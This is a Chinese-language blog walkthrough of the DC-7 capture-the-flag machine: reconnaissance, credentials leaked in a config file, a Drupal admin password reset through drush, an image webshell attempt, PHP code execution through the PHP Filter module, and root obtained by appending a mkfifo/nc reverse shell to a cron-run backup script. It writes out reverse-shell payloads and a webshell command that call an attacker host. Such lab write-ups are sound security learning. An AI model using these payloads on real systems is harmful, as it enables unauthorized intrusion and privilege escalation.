DC-7 靶机渗透测试

DC-7 渗透测试

冲冲冲,好好学习 。对管道符的理解加深了好多。最后提权时,遇到了点麻烦。想不懂一条命令为啥能执行生效,耗了一整天才算解决掉。

操作机:kali 172.66.66.129

靶机:DC-4 172.66.66.138

网络模式:NAT

netdiscover

image

172.66.66.138

dirb http://172.66.66.138

nmap -sV -A -p- 172.66.66.138

image

22端口 OpenSSL 7.4p1 ;80端口 Drupal 8 ;能看到robots.txt

image

访问一下观察研究网站页面,

image

有一个搜索框,还发现左下角的 @DC7USER,这个是什么东西,好陌生。百度一下

image
image

于是找到这个东西,进去把源码down了下来,那就代码审计咯

image

image

(好一个脚本小子...)一个个去看看,显示文件包含漏洞出在 footer标签里,标签定义文档或者文档的一部分区域的页脚。<footer> 元素应该包含它所包含的元素的信息。

在典型情况下,该元素会包含文档创作者的姓名、文档的版权信息、使用条款的链接、联系信息等等。

在一个文档中,您可以定义多个<footer>元素。

image

​ 代码含义:先定义了变量$file = 'contact-info.php' ,再判断 变量对应的文件是或存在,存在则包含,否则 通过 _GET[ ] 获取$file的值,不经过滤直接包含变量进来。从代码逻辑上看,仿佛没毛病,要执行的前提是预定义的变量$file = 'contact-info.php' 不存在。

​ 哈哈哈哈哈脑子进水了.....敲一下自己。一上来傻乎乎的审计,配置文件这么重要都不看完,在config.php里看到了数据库账号密码

image

$username = "dc7user";
$password = "MdR3xOgB7#dW";

image

登录失败,记得开了22端口,试试ssh登录。

image

登录成功,提示有新邮件,在``/var/mail/`查看 mbox ,好长的内容

image

是个备份的内容,/opt/scripts/backups.sh

image

目标文件所有者是 root ,所属组 是www-data,

当前用户:输入 id

uid=1000(dc7user) #当前用户的 唯一标识 uid 1000

gid=1000(dc7user) #当前用户的 所属组 dc7user

groups=1000(dc7user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev) # 属于的其他组

当前用户是backups.sh的其他人,权限只有 r w读写。仿佛这些发现没用,放弃,找下一个思路。

出来挨打 >.<
“所属组 是www-data”,当看到这里,我没有反应过来,一个这么高权限的脚本,当前用户无法利用,但是 www-data 可以啊,www-data www-data ,想到了吗?这的意思就是让你从web端日进去,账号成为 www-data ,这都想不到???????????

image

获得的主要信息:

Shell脚本文件 /opt/scripts/backups.sh

数据库文件:/home/dc7user/backups/website.sql

网站数据: /home/dc7user/backups/website.tar.gz

image

可见.gpg后缀,文件是经过加密的(为什么我没有想到破解呢???自己反省一下)。有俩比较陌生的命令 drush 和 gpg(一种加密方式)。百度一圈得知可用 drush来修改任意用户的密码drush user-password 用户名 --password="密码"

想到爆破没?可以去试试,gpg秘钥解密PickYourOwnPassword(backup.sh中找到)。但是爆破完,里面也获得不到有用的信息。

backups.sh中我们看到,使用drush备份数据库的时候,先切换目录至/var/www/html,所以我们也先切换目录至/var/www/html/ cd 到/var/www/html 下使用,(盲猜的后台管理员账号 admin ,在登录页面,输入不存在的账号,会提示该账号未注册。)

image

改完密码,登录试试,登进去之后

image

寻找可利用的地方,

image

此处的代码没有被解析,只原样输出了,绕过无果。再找找其他看

image

image

有图片上传框,想到图片马?

如何制作图片马还记得吗?

windows下,先准备两个 文件:tupian.png ma.php

打开cmd ,在当前路径下执行:copy tupian.png/b+ma.php/a new.png

/b是以二进制格式复制/合并文件,适用于图片或者声音类文件。

/a是指定ascii格式复制/合并文件,适用于txt等文本类型。

image

image

传上去了,但是菜刀连接不上,我马呢?能确认上传路径是没有错的,那是为什么呢,

没有cookie吗?登录一下网页再试试

image

image

image

浏览网页,admin登录,再次尝试连接一句话,仍然失败。图片没有执行吗?思路断。

记得前面的靶机中,drupal有个模块可以执行php代码来着。

寻找cms中模块安装功能在哪,百度寻找该cms存在漏洞的功能模块等,尝试安装存在漏洞的功能模块/主题/插件,最后通过其漏洞实现侵入。

image

在线下载安装,或者本地上传模块安装。drupal官网找找模块在哪,当前drupal为8.7.6版本。

在此处下载PHP Filter模块http://drupal.org/project/php,上图可见,下载的应该是 .gz文件,服务器linux的压缩文件也应该是 .gz

image

image

image

image

image

image

执行成功,尝试提权。

  1. <?php system("nc -e /bin/bash 172.66.66.129 8888");?>

  2. <?php system("$_GET['a']");?> 再访问:http://172.66.66.138/node/6?a=nc -e /bin/bash 127.0.0.1 8888

image

image

python 交互shellpython -c 'import pty;pty.spawn("/bin/bash")'

image

然后呢?思路感觉又断了 >.< 看了下大佬们的wp,抄来了这条一寸长的命令。

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.67.144 4444 >/tmp/f" >> backups.sh 往backups.sh里 追加 地写入这个命令,拆分一下理解理解

rm /tmp/f;	   
 
mkfifo /tmp/f;   

cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.67.144 4444 >/tmp/f

rm /tmp/f 删除该文件(以免跟后面定义的 管道符 冲突)

mkfifo /tmp/f 这是创建自定义有名管道符。管道符的名称是 /tmp/f (用于进程间的通讯, 如 ls > /tmp/f ,cat /tmp/f ,连通两个进程之间的通讯)

​ cat /tmp/f 取出管道符中的内容, |/bin/sh -i 2>&1 将前面取出的内容作为 输入 ,输入给 /bin/sh ,再将bash 的标准错误输出 也作为标准输入 (2 >&1)给bash ,然后再将bash的输出,传给nc 远程,再将nc 传来的数据,写入 管道符 /tmp/f 。最后首尾接通了。

​ 原理上讲也没啥难度,跟之前写的fantanshell笔记里的都一样,换个方式唯一,核心道理一模一样。

但是有个疑问:为啥执行这命令后,nc反弹的shell,是root权限? 是哪里导致的身份成了 root ?

当前用户是 www-data ,backups.sh所有者是root,所属组是www-data

-rwxr-xr-x 1 root root 64K Feb 22 2017 /usr/bin/mkfifo 命令的权限也没有suid呢?

为什么呢?下面是 backups.sh脚本的内容

#!/bin/bash
rm /home/dc7user/backups/*
cd /var/www/html/
drush sql-dump --result-file=/home/dc7user/backups/website.sql
cd ..
tar -czf /home/dc7user/backups/website.tar.gz html/
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz
chown dc7user:dc7user /home/dc7user/backups/*
rm /home/dc7user/backups/website.sql
rm /home/dc7user/backups/website.tar.gz

想不懂一个问题,---------------------------------------------------------------------------------------------------------------------------------------

当前登录用户为 www-data ,id 显示是uid=33(www-data) gid=33(www-data) groups=33(www-data)
现在有个脚本 backups.sh ,权限是 -rwx rwx r-x root www-data

image

脚本内容是:

#!/bin/bash
rm /home/dc7user/backups/*
cd /var/www/html/
drush sql-dump --result-file=/home/dc7user/backups/website.sql
cd ..
tar -czf /home/dc7user/backups/website.tar.gz html/
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz
chown dc7user:dc7user /home/dc7user/backups/*
rm /home/dc7user/backups/website.sql
rm /home/dc7user/backups/website.tar.gz

提权方式 是,在脚本末尾追加写入 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 172.66.66.138 8888 >/tmp/f (命令内容我能理解),写入完成后再执行,开启监听,反弹回来的shell ,就是root权限了。
问题:为什么反弹回来的权限是 root 的?当前用户是 www-data,这个身份执行 脚本,虽然脚本的所有者是root,但好像这个脚本没有suid权限,为啥反弹回来的shell 是root权限的?


​ 为了验证这个问题,(虽然还是没懂为什么,但是想看看究竟是不是这样子的)打开centos 写个脚本测试一下

image

tmp下随便写个脚本,改一下权限 775 ,改 所有者 为root 和 所属组为zhaocancheng ,脚本内容为验证执行时候的用户id 是否为root ,是root的话就echo。

image

执行结果并不是root,这就很迷了呀,为啥子哩.....

所以我可以认为,靶机上的脚本运行后能获得 root 权限,跟 文件本身的权限 -rwx rwx r-x root www-data无关吗?我觉得可以... 那难道是 靶机脚本里命令的缘故吗?脚本中使用的命令有 drush、tar、gpg、chown,也能确认跟这些命令没关系...

晚上洗澡忽然想到,上面的centos里的操作,逻辑上不对,得先把账号加入那个组才可以接着下面的步骤。

最后换个思路思考,研究了下脚本里的命令,发现 chown 是只有root才能执行,然而脚本里有这条命令,并且这个提权方式是可行的(已有成功的)。自己本地尝试的时候,普通账号(及时在所属组里)是无法执行脚本的,会报错,提示不允许的操作。

image

那所以在靶机中,脚本在执行的时候,是root身份在执行了脚本,所以再追加进去的nc 反弹回来才是 root,会不会是 root的计划任务,定期以root身份执行脚本,顺利提权root ,无奈当前用户www-data 无法查看 root 下的计划任务。

最后知道,那个 追加进去的命令好像是 msf 的......


image

嗯? 磁盘没空间? df -i 看到也没有满呀。啊?打开backups.sh看看

image

噢噢还真的是说磁盘满了.....然鹅并没有满呀,上面也看到了呀,好吧我电脑也就256G ,确实是满了...

几天后回来想到,这应该是 msf生成的反弹shell后门,需要msf的环境才能执行成功。

最后

  1. 感觉学到的东西越来越少了,多回顾以前学过的知识,代码审计生疏了好多好多...
  2. linux用户可以属于多个“组”,
  3. 看到特殊脚本,打开进去好好看,研究看,仔细看,看,看,看,
  4. Drush 是Drupal的命令行shell和Unix脚本接口,用于管理druoal网站。当新网站忘记密码,想重置密码,这时候服务器上刚好装着 Drush ,那么恭喜:drush user-password 用户名 --password="密码"
  5. gpg 一种加密方式,linux可以安装使用。加密解密也是个知识点。
  6. 我马呢?我马呢?🐴🐴🐴
  7. 为什么一句话的图片木马能起效果?原理是什么
  8. “所属组 是www-data”,当看到这里,我没有反应过来,一个这么高权限的脚本,当前用户无法利用,但是 www-data 可以啊,www-data www-data ,想到了吗?这的意思就是让你从web端日进去,账号成为 www-data ,这都想不到???????????
  9. mkfifo 开心,学到了个神奇的命令。笔记放在另外的地方,篇幅有点长,就不放这里了。
posted @ 2021-05-12 13:22  Bitores  阅读(807)  评论(0编辑  收藏  举报